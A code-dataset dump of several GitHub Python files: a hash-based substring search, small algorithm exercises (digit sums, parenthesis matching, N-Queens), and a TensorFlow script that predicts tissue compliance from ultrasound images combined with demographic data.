{index_of_text_hashes} text_hash {text_hash}\")\n if all(pattern_hash[distinct_hash_function] == distinct_hash_functions_text_hashes[distinct_hash_function] for distinct_hash_function in range(polyhash.different_hash_functions)):\n pattern_positions_in_text.append(start_string_index_of_text_hashes)\n\n #print(pattern_positions_in_text)\n\n return pattern_positions_in_text\n\n \"\"\"\n dumb_hashes = []\n for index in range(len(text) - len(pattern) + 1):\n dumb_hashes.append(polyhash.get_polyhash(text[index:index + len(pattern)]))\n print(f\"dumb_hashes {dumb_hashes}\")\n\n return [\n i \n for i in range(len(text) - len(pattern) + 1) \n if text[i:i + len(pattern)] == pattern\n ]\n \"\"\"\nif __name__ == '__main__':\n print_occurrences(get_occurrences(*read_input()))\n #print_occurrences(get_occurrences(' ', ''))\n\n","repo_name":"kentasuzue/python-find-pattern-in-text","sub_path":"hash_substring_fast.py","file_name":"hash_substring_fast.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"321187979","text":"def fun(x):\r\n digit=0\r\n while (x>0):\r\n digit+= int(x%10)\r\n x=int(x/10)\r\n print (digit)\r\n return digit\r\n\r\n\r\n\r\nnum=int(input())\r\n\r\nwhile num>9:\r\n num=num*3+1\r\n print (num)\r\n num=fun(num)\r\n\r\nprint (num)\r\n","repo_name":"limikis/Python","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15238238663","text":"import sys\n\nN = int(input())\n# for _ in range(N):\n# S = input()\n# result, flag, right, left = \"YES\", 0, 0, 0\n# for i in S:\n# if i == \"(\":\n# flag = 0\n# if i == \")\" and flag == 0:\n# result = \"NO\"\n# break\n# elif i == \")\" and flag == 1:\n# else:\n# right += 1\n# if left == right:\n# print(\"YES\")\n# else:\n# print(\"NO\")\n\nfor _ in range(N):\n S = [x for x in input()]\n S_len = len(S)\n result, index, flag, current = \"YES\", 0, 0, \"\"\n while True:\n print(\"======================START======================\")\n print(S)\n if len(S) == 0:\n break\n elif S_len % 2 != 0 or (S_len == index and S[0] == \"(\"):\n result = \"NO\"\n break\n current = S.pop()\n print(S)\n if S[-1] == \")\":\n print(\"S[-1] == )\")\n S.insert(0, current)\n flag = 0\n elif flag == 0:\n print(\"S[-1] == ( and flag == 0\")\n S.pop()\n if S[-2] == \"(\":\n print(\"SECOND\")\n flag = 1\n elif flag == 1:\n print(\"S[-1] == ( and flag == 1\")\n flag = 0\n else:\n print(\"else\")\n flag = 1\n index += 1\n print(S)\n print(result)\n","repo_name":"minji9360/algorithm","sub_path":"baekjoon/stack/9012.py","file_name":"9012.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33801436526","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport os\nimport tensorflow as tf\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import GlobalAveragePooling2D, PReLU, Input, Dropout, Dense, Flatten, Normalization\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.compose import ColumnTransformer\nfrom datetime import datetime\nimport alibi\nfrom alibi.explainers import IntegratedGradients\nimport pydicom\nfrom pydicom.pixel_data_handlers import convert_color_space\nimport cv2\nfrom natsort import natsorted\n\n# constant variables\nIMAGE_SIZE = [676, 676]\nCOLOR_CHANNELS = 3\n\n\ndef ohe_df(enc: ColumnTransformer, df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n function to convert a df to a one hot encoded df with appropriate column labels\n @param enc: the encoder that will one hot encode the variables into a binary representation\n @param df: the training dataframe\n @return: the one hot encoded training data\n \"\"\"\n transformed_array = enc.transform(df)\n initial_colnames_keep = list(\n df.select_dtypes(include=np.number).columns\n ) # essentially the numeric labels\n new_colnames = np.concatenate(\n enc.named_transformers_[\"OHE\"].categories_\n ).tolist() # unique category classes\n all_colnames = new_colnames + initial_colnames_keep\n df = pd.DataFrame(transformed_array, index=df.index, columns=all_colnames)\n\n return df\n\n\ndef ima_to_png(ima_dir: str, png_dir: str, df: pd.DataFrame(), plt_bool=False, matching_strs=[]) -> (\nlist, pd.DataFrame()):\n \"\"\"function to convert ima files to png for compatibility with tf. tf only supports 4 image types officially\n @param ima_dir: where the raw ima files are located. Pull from multis gamma\n @param png_dir: where to save the converted files\n @param df: a pandas dataframe to be used to only pull specific subjects and regions that have valid data\n @param plt_bool: if true, will show a plot of how cropping is working\n @param matching_strs: which files are of interest? I was only focusing on anterior central and posterior central\n indentation trials\n\n @return output: a list of files to be analyzed and df with physical coord column\n \"\"\"\n output = []\n df[\"PhysDims\"] = np.nan\n\n for root, _, files in os.walk(ima_dir):\n if files:\n wanted_regions = [x for x in files if any(val in x for val in matching_strs)]\n # filter out any non image files that may have been downloaded (or accidentally created)\n wanted_regions = [x for x in wanted_regions if \".IMA\" in x]\n if wanted_regions:\n for file in wanted_regions:\n # sample naming convention is: 023_MULTIS001-1_LA_AP_A-2_frm247.IMA\n sub_id = int(file.split(\"MULTIS\")[1][0:3])\n location = file.split(\"-1_\")[1][0:4]\n\n if not df[(df['SubID'] == sub_id) & (df['Location'] == location)].empty:\n # save as png for easier image augmentation\n all_dcm = pydicom.read_file(os.path.join(root, file))\n\n # add physical coordinates to model\n for i, line in enumerate(str(all_dcm[0x0018, 0x6011].value[0]).split(\"\\n\")):\n if \"Physical Delta X\" in line:\n phys_dim = line.split(\"FD: \")[-1]\n phys_dim = float(phys_dim)\n df.loc[(df.SubID == sub_id) & (df.Location == location), \"PhysDims\"] = phys_dim\n\n orig_img = convert_color_space(all_dcm.pixel_array, \"YBR_FULL_422\", \"RGB\") # convert to RGB\n height, width, _ = np.shape(orig_img)\n # crop out text\n img = orig_img[round(height * .07):round(height * .95),\n round(width * .08):round(width * .89)]\n height, width, _ = np.shape(img) # cropped dims\n ecg_mask = cv2.inRange(img, (70, 200, 200), (255, 255, 255))\n # omit bright data in the top 90% of the image from mask (so that it is preserved)\n ecg_mask[0:round(height * .9), :] = 0\n corner_mask = cv2.inRange(img, (140, 60, 0), (255, 255, 255))\n # omit bright data in the bottom 97% of the image\n corner_mask[round(height * .04)::, :] = 0\n # omit bright data in the right 75% of the image\n corner_mask[:, round(width * 0.25)::] = 0\n my_mask = ecg_mask + corner_mask\n diff_img = np.ones_like(img)\n diff_img = diff_img * np.reshape(my_mask, (height, width, 1))\n final_img = cv2.subtract(img, diff_img)\n final_img = cv2.resize(final_img, (height, height))\n cv2.imwrite(os.path.join(png_dir, str(sub_id) + location + \".png\"), final_img)\n output.append(os.path.join(png_dir, str(sub_id) + location + \".png\"))\n\n # generates a lot of images, mainly for sanity check of data filtering or for saving one picture\n if plt_bool:\n fig, ax = plt.subplots(1, 3)\n ax[0].imshow(orig_img)\n ax[0].set_xlabel(\"original image\")\n ax[1].imshow(img)\n ax[1].set_xlabel(\"cropped image\")\n ax[2].imshow(final_img)\n ax[2].set_xlabel(\"final image (mask used)\")\n plt.show()\n else:\n # the first 5 subjects and any row with null are excluded to keep df consistent between models\n pass\n return (list(set(output)), df) # duplicates in my list?\n\n\ndef plot_loss(head_tail, history, finetune):\n \"\"\"\n Visualize error decrease over training process\n @param head_tail: list of input path variables to determine where to save the image\n @param history: model training results object\n @param finetune: change file saving name to prevent overwrite\n @return: Nothing\n \"\"\"\n plt.figure(2)\n plt.plot(history.history['loss'], label='loss')\n plt.plot(history.history['val_loss'], label='validation loss')\n plt.xlabel('Epoch')\n plt.ylabel('Error')\n plt.legend()\n plt.grid(True)\n date = datetime.now().strftime(\"%Y_%m_%d-%I%p\")\n\n if not os.path.exists(os.path.join(head_tail[0], \"..\", \"Pictures\")):\n os.mkdir(os.path.join(head_tail[0], \"..\", \"Pictures\"))\n if not finetune:\n plt.savefig(os.path.join(head_tail[0], \"..\", \"Pictures\", f\"image_demo_loss_history_{date}.png\"))\n else:\n plt.savefig(os.path.join(head_tail[0], \"..\", \"Pictures\", f\"finetune_image_demo_loss_history_{date}.png\"))\n\n\ndef plot_test_predictions(head_tail, model, test_df, test_labels, finetune):\n \"\"\"\n Function to visualize the quality of predictions on the test data\n @param head_tail: the path variables to save the images\n @param model: the tf deep neural network object\n @param test_df: the dataframe that the model has not seen, which it will make a prediction on\n @param test_labels: The correct values for each test data sample, which will be used to test prediction accuracy\n @param finetune: change file saving name to prevent overwrite\n @return: Nothing\n \"\"\"\n test_predictions = model.predict(test_df, steps=(np.shape(test_labels)[0])).flatten()\n plt.figure()\n print(np.shape(test_predictions))\n print(np.shape(test_labels))\n plt.scatter(test_predictions, test_labels)\n\n plt.xlabel('Predicted Compliance (mm/MPa)')\n plt.ylabel('Experimental Compliance (mm/MPa)')\n lims = [0, 3500]\n plt.xlim(lims)\n plt.ylim(lims)\n plt.plot(lims, lims, linestyle='dashed', color='black', linewidth=2)\n date = datetime.now().strftime(\"%Y_%m_%d-%I%p\")\n\n plt.savefig(os.path.join(head_tail[0], \"..\", \"Pictures\", f\"compliance_CNN_demo_image_{date}.png\"), format='png')\n\n # Second plot of histogram mape\n plt.figure()\n error = abs(test_predictions - test_labels) / test_labels * 100\n plt.hist(error, bins=25, edgecolor='black')\n plt.xlabel('Absolute Percent Error')\n plt.ylabel('Count')\n if not finetune:\n plt.savefig(os.path.join(head_tail[0], \"..\", \"Pictures\", f\"image_demo_error_{date}.png\"), format='png')\n else:\n plt.savefig(os.path.join(head_tail[0], \"..\", \"Pictures\", f\"fine_tune_image_demo_error_{date}.png\"),\n format='png')\n\n\ndef build_and_compile_model(norm) -> tf.keras.Sequential():\n \"\"\"\n Defines the input function to build a deep neural network for tensorflow\n @return: a tensorflow convolutional neural network model\n \"\"\"\n # Define hyperparameters\n lr = 1e-2 # hp.Choice(\"lr\", values=[1e-2])\n units = 32 # hp.Choice(\"units\", values=[128])\n dropout = 0.2\n\n # Define model architecture\n # model = tf.keras.Sequential()\n # model.add(layers.GlobalAveragePooling2D())\n # model.add(layers.Dropout(dropout))\n # model.add(layers.Dense(units))\n # combined_model = layers.concatenate([model.output, norm], axis=-1)\n # combined_model.add(layers.PReLU(alpha_initializer=tf.initializers.constant(0.1)))\n # model.add(layers.Dropout(dropout))\n # combined_model.add(layers.Dense(units))\n # combined_model.add(layers.PReLU(alpha_initializer=tf.initializers.constant(0.1)))\n # model.add(layers.Dropout(dropout))\n # combined_model.add(layers.Dense(units))\n # combined_model.add(layers.PReLU(alpha_initializer=tf.initializers.constant(0.1)))\n # combined_model.add(layers.Dense(1))\n\n pretrained_model = tf.keras.applications.Xception(input_shape=[*IMAGE_SIZE, COLOR_CHANNELS],\n input_tensor=Input(shape=(*IMAGE_SIZE, COLOR_CHANNELS)),\n include_top=False)\n pretrained_model.trainable = False\n gap = GlobalAveragePooling2D()(pretrained_model.output)\n gap = Dense(units)(gap)\n gap = PReLU(alpha_initializer=tf.initializers.constant(0.1))(gap)\n img_model = Dropout(dropout)(gap)\n\n # add in the demographic information\n first_part_output = Flatten()(img_model)\n norm_input = Input(shape=(21,), name=\"norm_input\")\n norm_input = Normalization(axis=-1, mean=norm.mean.numpy(), variance=norm.variance.numpy())(norm_input)\n combined_model = layers.concatenate([first_part_output, norm_input])\n cm = Dense(units)(combined_model)\n cm = PReLU(alpha_initializer=tf.initializers.constant(0.1))(cm)\n cm = Dropout(dropout)(cm)\n cm = Dense(units)(cm)\n cm = PReLU(alpha_initializer=tf.initializers.constant(0.1))(cm)\n cm = Dropout(dropout)(cm)\n predictions = Dense(1)(cm)\n print(type(pretrained_model.input), type(pretrained_model.output))\n model = Model(inputs=[pretrained_model.input, norm_input], outputs=predictions)\n\n model.compile(loss='mean_absolute_error',\n optimizer=tf.keras.optimizers.Adam(lr),\n metrics=[\"mae\", \"mse\", \"mape\"])\n model.summary()\n tf.keras.utils.plot_model(model, to_file=\"F:\\WorkData\\MULTIS\\Pictures\\model_architecture.png\")\n return model\n\n\ndef compile_final_model(model: tf.keras.Sequential()) -> tf.keras.Sequential():\n \"\"\"\n Defines the input function to build a deep neural network for tensorflow\n @param model: the original base model without finetuning\n @return: a tensorflow convolutional neural network model\n \"\"\"\n # Define hyperparameters\n lr = 1e-5\n model.load_weights(r\"F:\\WorkData\\MULTIS\\logs\\image_fit\\image_demo_initial_weights.hdf5\")\n\n model.compile(loss='mean_absolute_error',\n optimizer=tf.keras.optimizers.Adam(lr),\n metrics=[\"mae\", \"mse\", \"mape\"])\n model.summary()\n return model\n\n\ndef tf_image(csv, raw_image_dir, png_data_dir, categorical_features, numerical_features, interface=(False, False),\n shapley=False):\n \"\"\"\n Main script function for data processing, deep neural net model building, and result generation\n @param csv: the input csv file containing each subject data, pulled from:\n https://simtk.org/svn/multis/studies/LayerEffectonStiffness/dat/\n @param raw_image_dir: path to the raw ultrasound images are located, pulled from multis beta\n @param png_data_dir: path to the processed png images from the raw ultrasound data\n @param categorical_features: The grouping features of the data, such as indentation location\n @param numerical_features: The number based features of the data, such as Age or BMI\n @param interface: 2 booleans to control if you want a grad.io model prediction interface. First to make the\n interface, second bool to control if interface should be pushed to web host\n @param shapley: 1 Boolean on whether you want feature importance calculations performed\n \"\"\"\n\n # Read in the master_csv file\n dataset = pd.read_csv(csv)\n head_tail = os.path.split(csv)\n categorical_features.sort()\n numerical_features.sort() # need sorted numerical features to reconstruct the df\n features = [*categorical_features, *numerical_features]\n\n # Filter the csv by the desired features\n dataset = dataset[features]\n dataset = dataset.rename(columns={'Total_Stiff': 'Compliance'})\n dataset['Compliance'] = 1 / dataset['Compliance']\n\n i = numerical_features.index(\"Total_Stiff\")\n numerical_features[i] = \"Compliance\"\n i = features.index(\"Total_Stiff\")\n features[i] = \"Compliance\"\n\n dataset.apply(lambda x: pd.to_numeric(x, errors='coerce').notnull().all())\n dataset = dataset.dropna()\n # Order data how the files will be saved\n dataset[\"Name\"] = dataset[\"SubID\"].astype(str) + dataset[\"Location\"]\n dataset = dataset.sort_values([\"SubID\", \"Location\"])\n dataset = dataset.set_index(\"Name\")\n\n # Remove null values from the dataset\n dataset.apply(lambda x: pd.to_numeric(x, errors='coerce').notnull().all())\n dataset = dataset.reset_index(drop=True)\n\n print(dataset.head) # Show first five entries and some columns\n print(dataset.shape)\n print(dataset.dtypes)\n\n # Pull and pre process .IMA files to .png for easier usage\n matching_regions = [\"AC\", \"PC\"] # only interested in anterior central and posterior central trials\n output, dataset = ima_to_png(raw_image_dir, png_data_dir, dataset, plt_bool=False, matching_strs=matching_regions)\n demographics_df = dataset[dataset.columns.drop([\"SubID\"])]\n print(demographics_df.dtypes)\n output = natsorted(output) # properly sorts numbers as 1,2,3 instead of 1, 10, 100, 2\n dataset[\"filepath\"] = output\n print(dataset.describe().transpose()[['mean', 'std']])\n\n enc = ColumnTransformer([(\"OHE\", OneHotEncoder(sparse=False, handle_unknown=\"ignore\"),\n demographics_df.select_dtypes(include=\"object\").columns)], remainder=\"passthrough\")\n enc.fit(demographics_df) # fit the encoder to the datasets variables\n print(type(enc))\n\n # call function to onehot encode the data\n ohe_dataset = ohe_df(enc, demographics_df)\n\n train, test = train_test_split(dataset, test_size=0.2, random_state=752)\n demo_train, demo_test = train_test_split(ohe_dataset, test_size=0.2, random_state=752)\n train, val = train_test_split(train, test_size=0.2, random_state=752)\n demo_train, demo_val = train_test_split(demo_train, test_size=0.2, random_state=752)\n demo_comp_train = demo_train.pop(\"Compliance\")\n demo_comp_val = demo_val.pop(\"Compliance\")\n demo_comp_test = demo_test.pop(\"Compliance\")\n normalizer = tf.keras.layers.Normalization(axis=-1)\n normalizer.adapt(np.array(demo_train))\n print(normalizer.mean.numpy())\n print(demo_train.columns)\n\n train_datagen = ImageDataGenerator(preprocessing_function=tf.keras.applications.xception.preprocess_input,\n horizontal_flip=True, fill_mode=\"nearest\", zoom_range=0.1,\n width_shift_range=0.1, height_shift_range=0.1,\n rotation_range=10, shear_range=10)\n test_datagen = ImageDataGenerator(preprocessing_function=tf.keras.applications.xception.preprocess_input)\n\n # define train generators\n batch_size = 4\n num_epochs = 100\n train_generator = train_datagen.flow_from_dataframe(dataframe=train, directory=None, has_ext=True,\n x_col=\"filepath\", y_col=\"Compliance\", class_mode=\"other\",\n target_size=(IMAGE_SIZE[0], IMAGE_SIZE[1]),\n batch_size=batch_size, seed=752)\n\n val_generator = test_datagen.flow_from_dataframe(dataframe=val, directory=None, has_ext=True,\n x_col=\"filepath\", y_col=\"Compliance\", class_mode=\"other\",\n target_size=(IMAGE_SIZE[0], IMAGE_SIZE[1]),\n batch_size=batch_size, shuffle=False, seed=752)\n\n test_generator = test_datagen.flow_from_dataframe(dataframe=test, directory=None, has_ext=True,\n x_col=\"filepath\", y_col=\"Compliance\", class_mode=\"other\",\n target_size=(IMAGE_SIZE[0], IMAGE_SIZE[1]),\n batch_size=1, shuffle=False, seed=752)\n # # View generator results\n # img, label = train_generator.next()\n # fig, axs = plt.subplots(2, round(batch_size/2))\n # print(img.shape) # (batch size, IMAGESIZE, IMAGESIZE, COLORCHANNELS)\n #\n # for i, ax in enumerate(axs.flatten()):\n # ax.imshow(img[i])\n # ax.set_xlabel(f\"compliance = {label[i]}\")\n # plt.show()\n #\n # fig, axs = plt.subplots(2, 2)\n # for i, ax in enumerate(axs.flatten()):\n # img, label = test_generator.next() # only one image\n # ax.imshow(img[0])\n # ax.set_xlabel(f\"compliance = {label[0]}\")\n # plt.show()\n\n # create a log directory for a tensorboard visualization\n os.makedirs(os.path.join(head_tail[0], \"..\", \"logs\", \"image_fit\"), exist_ok=True)\n log_path = os.path.join(head_tail[0], \"..\", \"logs\", \"image_fit\")\n # change model checkpoint file name in compile model as well\n model_checkpoint = tf.keras.callbacks.ModelCheckpoint(os.path.join(log_path, \"image_demo_initial_weights.hdf5\"),\n monitor='val_loss', verbose=2, save_freq='epoch',\n save_weights_only=True, save_best_only=True,\n mode='min', restore_best_weights=True)\n tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_path, histogram_freq=1)\n reduce_lr = tf.keras.callbacks.ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=2)\n early_stop = tf.keras.callbacks.EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=5)\n\n # No HP tuning as TF does not support tuning on multi-input models (manual search could be used)\n # Instead use image_cnn.py best params\n model = build_and_compile_model(normalizer)\n\n\n\n def train_image_dataset_generator():\n a_tuple = train_generator.next()\n b_tuple = []\n for j in range(len(a_tuple[1])):\n demo_np_array = np.stack(demo_train.loc[demo_comp_train == a_tuple[1][j]].values).squeeze()\n b_tuple.append(demo_np_array)\n b_tuple = tuple(b_tuple)\n yield (a_tuple[0], b_tuple), (a_tuple[1])\n\n tf_ds_train = tf.data.Dataset.from_generator(train_image_dataset_generator,\n output_signature=(\n (tf.TensorSpec(shape=(None, 676, 676, 3), dtype=tf.float64),\n tf.TensorSpec(shape=(None, 21,), dtype=tf.float64)),\n (tf.TensorSpec(shape=(None,), dtype=tf.float64))\n )).repeat()\n it = iter(tf_ds_train)\n print(it)\n batch = next(it)\n print(np.shape(batch))\n\n def val_image_dataset_generator():\n a_tuple = val_generator.next()\n b_tuple = []\n for j in range(len(a_tuple[1])):\n demo_np_array = np.stack(demo_val.loc[demo_comp_val == a_tuple[1][j]].values).squeeze()\n b_tuple.append(demo_np_array)\n b_tuple = tuple(b_tuple)\n yield (a_tuple[0], b_tuple), (a_tuple[1])\n\n tf_ds_val = tf.data.Dataset.from_generator(val_image_dataset_generator,\n output_signature=(\n (tf.TensorSpec(shape=(None, 676, 676, 3), dtype=tf.float64),\n tf.TensorSpec(shape=(None, 21,), dtype=tf.float64)),\n (tf.TensorSpec(shape=(None,), dtype=tf.float64))\n )).repeat()\n\n history = model.fit(x=tf_ds_train, verbose=2,\n steps_per_epoch=train_generator.samples / batch_size,\n validation_data=tf_ds_val,\n validation_steps=val_generator.samples / batch_size,\n epochs=num_epochs, shuffle=False,\n callbacks=[model_checkpoint, reduce_lr, early_stop, tensorboard_callback]\n )\n\n plot_loss(head_tail, history, finetune=False)\n # plot model training progress\n\n def test_image_dataset_generator():\n a_tuple = test_generator.next()\n b_tuple = []\n for j in range(len(a_tuple[1])):\n demo_np_array = demo_test.loc[demo_comp_test == a_tuple[1][j]].values\n b_tuple.append(demo_np_array)\n b_tuple = tuple(b_tuple)\n yield (a_tuple[0], b_tuple[0]), (a_tuple[1])\n\n tf_ds_test = tf.data.Dataset.from_generator(test_image_dataset_generator,\n output_signature=(\n (tf.TensorSpec(shape=(None, 676, 676, 3), dtype=tf.float64),\n tf.TensorSpec(shape=(None, 21,), dtype=tf.float64)),\n (tf.TensorSpec(shape=(None,), dtype=tf.float64))\n )).repeat()\n\n\n\n # print out metrics on how the model performed on the test data\n score = model.evaluate(tf_ds_test, verbose=2, steps=np.shape(test[\"Compliance\"])[0])\n print(f\"model loss is: {score[0]}\")\n print(f\"model mean absolute error is: {score[1]}\")\n print(f\"model mean squared error is: {score[2]}\")\n print(f\"model mean average percent error is {score[3]}\")\n\n # Plot predictions vs true values to visually assess accuracy and histogram of APE distribution\n plot_test_predictions(head_tail, model, tf_ds_test, test[\"Compliance\"], finetune=False)\n\n # workaround for: https://github.com/keras-team/keras/issues/9562#issuecomment-633444727\n for layer in model.layers:\n layer.trainable = True\n model.save_weights(r\"F:\\WorkData\\MULTIS\\logs\\image_fit\\image_demo_initial_weights.hdf5\")\n\n # fine tune the xception layers\n finetune_model = compile_final_model(model)\n finetune_model_checkpoint = tf.keras.callbacks.ModelCheckpoint(\n os.path.join(log_path, \"image_demo_finetuned_weights.hdf5\"),\n monitor='val_loss', verbose=2, save_freq='epoch',\n save_weights_only=True, save_best_only=True,\n mode='min', restore_best_weights=True)\n\n finetune_history = finetune_model.fit(tf_ds_train, verbose=2, steps_per_epoch=train_generator.samples / batch_size,\n validation_data=tf_ds_val, validation_steps=val_generator.samples / batch_size,\n epochs=num_epochs, shuffle=True,\n callbacks=[finetune_model_checkpoint, reduce_lr, early_stop, tensorboard_callback]\n )\n # visualize model loss\n plot_loss(head_tail, finetune_history, finetune=True)\n\n # print out metrics on how the model performed on the test data\n score = finetune_model.evaluate(tf_ds_test, verbose=2, steps=test_generator.samples)\n print(f\"finetune_model loss is: {score[0]}\")\n print(f\"finetune_model mean absolute error is: {score[1]}\")\n print(f\"finetune_model mean squared error is: {score[2]}\")\n print(f\"finetune_model mean average percent error is {score[3]}\")\n\n # Plot predictions vs true values to visually assess accuracy and histogram of APE distribution\n plot_test_predictions(head_tail, model, tf_ds_test, test[\"Compliance\"], finetune=True)\n model.save_weights(r\"F:\\WorkData\\MULTIS\\logs\\image_fit\\image_CNN_finetuned_weights.hdf5\")\n\n # # Plot different shapley figures for feature importance\n if shapley:\n n_steps = 50\n method = \"gausslegendre\"\n ig = IntegratedGradients(model,\n n_steps=n_steps,\n method=method,\n internal_batch_size=1\n )\n\n # Calculate attributions for the first 10 images in the test set\n images = []\n predictions = []\n # train on val images due to shearing of training images and lack of memory to hold more than 10 images?\n print(f\"looping through a range of {round(test_generator.samples / batch_size)}\")\n for _ in range(batch_size):\n batch = next(iter(test_generator))\n image, _ = batch\n images.append(image)\n pred = finetune_model.predict(np.reshape(np.squeeze(np.array(image)), (1, 676, 676, 3)))\n print(pred)\n predictions.append(pred)\n print(predictions)\n\n np_images = np.squeeze(np.array(images))\n np_preds = np.squeeze(np.array(predictions))\n\n print(f\"Total images {np.shape(np_images)} images for alibi\")\n print(f\"Total predictions {np.shape(np_preds)} for alibi\")\n\n test_images = np_images[0:batch_size]\n predictions = np_preds[0:batch_size]\n explanation = ig.explain(test_images,\n baselines=None,\n target=[0, 0, 0, 0]) # all same class so just 0 for every sample?\n\n print(explanation.meta)\n print(explanation.data.keys())\n attrs = explanation.attributions[0]\n print(f\"total attrs: {len(explanation.attributions)}\")\n cmap_bound = 1 # data is scaled back to -1 to 1 range\n\n fig, ax = plt.subplots(nrows=batch_size, ncols=2, figsize=(12, 8))\n\n for row, _ in enumerate(test_images[0:batch_size]):\n ax[row, 0].imshow(test_images[row].squeeze(), cmap='gray')\n ax[row, 0].set_title(f'Prediction: {predictions[row]}')\n\n # attributions\n attr = attrs[0]\n attr = attr.astype(np.float32) / 255.0\n attr = 2 * (attr - np.amin(attr)) / (np.amax(attr) - np.amin(attr)) - 1\n\n print(f\"min and max of attr for {np.shape(attr)} = {np.amin(attr)}, {np.amax(attr)}\")\n im = alibi.utils.visualize_image_attr(attr=attrs.squeeze(), original_image=test_images[row].squeeze(),\n method='blended_heat_map', sign='all', show_colorbar=True,\n title='Overlaid Attributions',plt_fig_axis=(fig, ax[1]),\n use_pyplot=True)\n\n ax[0, 1].set_title('Attributions');\n ax[0, 2].set_title('Positive attributions');\n ax[0, 3].set_title('Negative attributions');\n\n for ax in fig.axes:\n ax.axis('off')\n\n fig.colorbar(im, cax=fig.add_axes([0.9, 0.25, 0.03, 0.5]));\n date = datetime.now().strftime(\"%Y_%m_%d-%I%p\")\n print(f'Saving shap picture to {os.path.join(head_tail[0], \"..\", \"Pictures\", f\"shapley_cnn_image_{date}.png\")}')\n plt.savefig(os.path.join(head_tail[0], \"..\", \"Pictures\", f\"shapley_cnn_image_{date}.png\"), format='png')\n plt.close()\n\n # Generate a gradio web interface if requested -- Non-functional\n if interface[0]:\n import gradio as gr\n\n def make_prediction(*features):\n \"\"\"Function to make a prediction on a new user value from a gradio user interface\"\"\"\n all_dcm = pydicom.read_file(os.path.join(features))\n orig_img = convert_color_space(all_dcm.pixel_array, \"YBR_FULL_422\", \"RGB\") # convert to RGB\n height, width, _ = np.shape(orig_img)\n # crop out text\n img = orig_img[round(height * .07):round(height * .95),\n round(width * .08):round(width * .89)]\n height, width, _ = np.shape(img) # cropped dims\n ecg_mask = cv2.inRange(img, (70, 200, 200), (255, 255, 255))\n # omit bright data in the top 90% of the image from mask (so that it is preserved)\n ecg_mask[0:round(height * .9), :] = 0\n corner_mask = cv2.inRange(img, (140, 60, 0), (255, 255, 255))\n # omit bright data in the bottom 97% of the image\n corner_mask[round(height * .04)::, :] = 0\n # omit bright data in the right 75% of the image\n corner_mask[:, round(width * 0.25)::] = 0\n my_mask = ecg_mask + corner_mask\n diff_img = np.ones_like(img)\n diff_img = diff_img * np.reshape(my_mask, (height, width, 1))\n final_img = cv2.subtract(img, diff_img)\n final_img = cv2.resize(final_img, (height, height))\n\n print(f\"Predicted tissue compliance of {pred[0][0]} mm/MPa\")\n return f\"Predicted tissue compliance of {pred[0][0]} mm/MPa\"\n\n input_list = []\n # Create dropdown menus for categorical inputs\n for variable in categorical_features:\n if variable != \"SubID\":\n if dataset.loc[:, variable].dtype == \"object\":\n vocabulary = list(dataset.loc[:, variable].unique())\n input_list.append(gr.inputs.Dropdown(label=f\"Choose a value for {variable}\", choices=vocabulary))\n else:\n input_list.append(\n gr.inputs.Textbox(label=f\"Choose a value for {variable} (Enter 999 or higher for new subjects)\"))\n\n # Create number menus for numerical inputs\n for variable in numerical_features:\n if variable != \"Compliance\":\n min_val = min(train_data[variable])\n max_val = max(train_data[variable])\n input_list.append(gr.inputs.Number(\n label=f\"Choose a value for {variable}, with acceptable range from {min_val} to {max_val}\"))\n else:\n pass # dummy value in make_prediction just to satisfy one hot encoder. Better solution possible?\n\n # Launch gradio interface on the web\n app = gr.Interface(fn=make_prediction, inputs=input_list, outputs=\"text\")\n app.launch(share=interface[1]) # share=True to display on the gradio webpage. Can share on huggingfaces\n\n\nif __name__ == \"__main__\":\n csv_path = r\"F:\\WorkData\\MULTIS\\master_csv\\001_MasterList_indentation_orig.csv\"\n raw_image_dir = r\"F:\\WorkData\\MULTIS\\Ultrasound_minImages\"\n png_dir = r\"F:\\WorkData\\MULTIS\\master_csv\\ultrasound_tiff\" # as defined by keras image_flow from dir\n categoric_features = [\"SubID\", \"Location\", \"Gender\", \"ActivityLevel\", \"Race\",\n \"Ethnicity\"] # Features that aren't numerical\n numeric_features = [\"Total_Stiff\", \"Age\", \"BMI\"] # Features defined by a range of numbers\n plot_shapley = False\n # lists are sorted alphabetically so order does not matter\n # 1st bool - make gradio interface | second bool - share to the web\n make_interface = [False, False] # not currently working\n tf_image(csv_path, raw_image_dir, png_dir, categoric_features, numeric_features,\n interface=make_interface, shapley=plot_shapley)\n","repo_name":"sbdoherty/UltrasoundML","sub_path":"src/models/image_and_demographics_CNN.py","file_name":"image_and_demographics_CNN.py","file_ext":"py","file_size_in_byte":32482,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"71318913533","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\n\r\ndef dfs(row, post):\r\n global answer\r\n\r\n # 종료 조건\r\n if row == n:\r\n answer += 1\r\n return\r\n\r\n # 열 탐색\r\n for col in range(n):\r\n\r\n # 행, 열 확인\r\n if not d1[row + col] and not d2[row + n - 1 - col] and not visited[col]:\r\n\r\n visited[col] = True\r\n d1[row + col] = True\r\n d2[row + n - 1 - col] = True\r\n\r\n dfs(row + 1, col)\r\n\r\n # 가지치기 / 종료조건 이후\r\n visited[col] = False\r\n d1[row + col] = False\r\n d2[row + n - 1 - col] = False\r\n\r\n\r\nn = int(input())\r\nvisited = [False] * n\r\nd1 = [False] * (n + n + 1)\r\nd2 = [False] * (n + n + 1)\r\nanswer = 0\r\n\r\ndfs(0, 999999999)\r\n\r\nprint(answer)\r\n","repo_name":"LimSB-dev/BaekjoonHub","sub_path":"백준/Gold/9663. 